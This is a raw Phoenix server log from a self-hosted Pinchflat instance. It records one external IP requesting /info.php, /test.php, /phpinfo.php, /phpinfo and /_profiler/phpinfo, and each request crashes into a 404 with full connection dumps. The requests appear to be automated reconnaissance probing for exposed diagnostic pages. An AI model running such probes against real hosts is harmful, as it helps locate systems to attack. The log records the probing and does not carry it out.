2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50322}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3505.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5mRueJNJYsAARyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib (truncated) 21:08:46.856 [info] GET /test.php 21:08:46.857 [debug] QUERY OK source="settings" db=0.3ms idle=85.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.857 [debug] QUERY OK source="settings" db=0.1ms idle=52.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.857 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.858 [error] #PID<0.3507.0> running PinchflatWeb.Endpoint (connection #PID<0.3506.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /test.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3506.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50326}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3507.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5pU2mfrrGYAAR0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3506.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50326}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3506.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50326}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3507.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5pU2mfrrGYAAR0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib (truncated) 21:08:46.890 [info] GET /phpinfo.php 21:08:46.891 [debug] QUERY OK source="settings" db=0.4ms idle=85.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.892 [debug] QUERY OK source="settings" db=0.2ms idle=47.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.892 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.892 [error] #PID<0.3509.0> running PinchflatWeb.Endpoint (connection #PID<0.3508.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3508.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50336}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3509.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5xcbwS-8PUAAR2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3508.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50336}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3508.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50336}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3509.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5xcbwS-8PUAAR2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, (truncated) 21:08:46.936 [info] GET /phpinfo 21:08:46.937 [debug] QUERY OK source="settings" db=0.3ms idle=92.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.938 [debug] QUERY OK source="settings" db=0.1ms idle=80.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.938 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.938 [error] #PID<0.3511.0> running PinchflatWeb.Endpoint (connection #PID<0.3510.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3510.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50344}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3511.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-58gdYp9k3oAAR4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3510.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50344}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3510.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50344}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3511.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:46.961 [info] GET /_profiler/phpinfo 21:08:46.962 [debug] QUERY OK source="settings" db=0.5ms idle=104.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.963 [debug] QUERY OK source="settings" db=0.2ms idle=71.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.963 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.963 [error] #PID<0.3513.0> running PinchflatWeb.Endpoint (connection #PID<0.3512.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /_profiler/phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3512.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/phpinfo", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50352}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3513.0>, params: %{}, path_info: ["_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-6CWQ0fCS0QAAR6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: 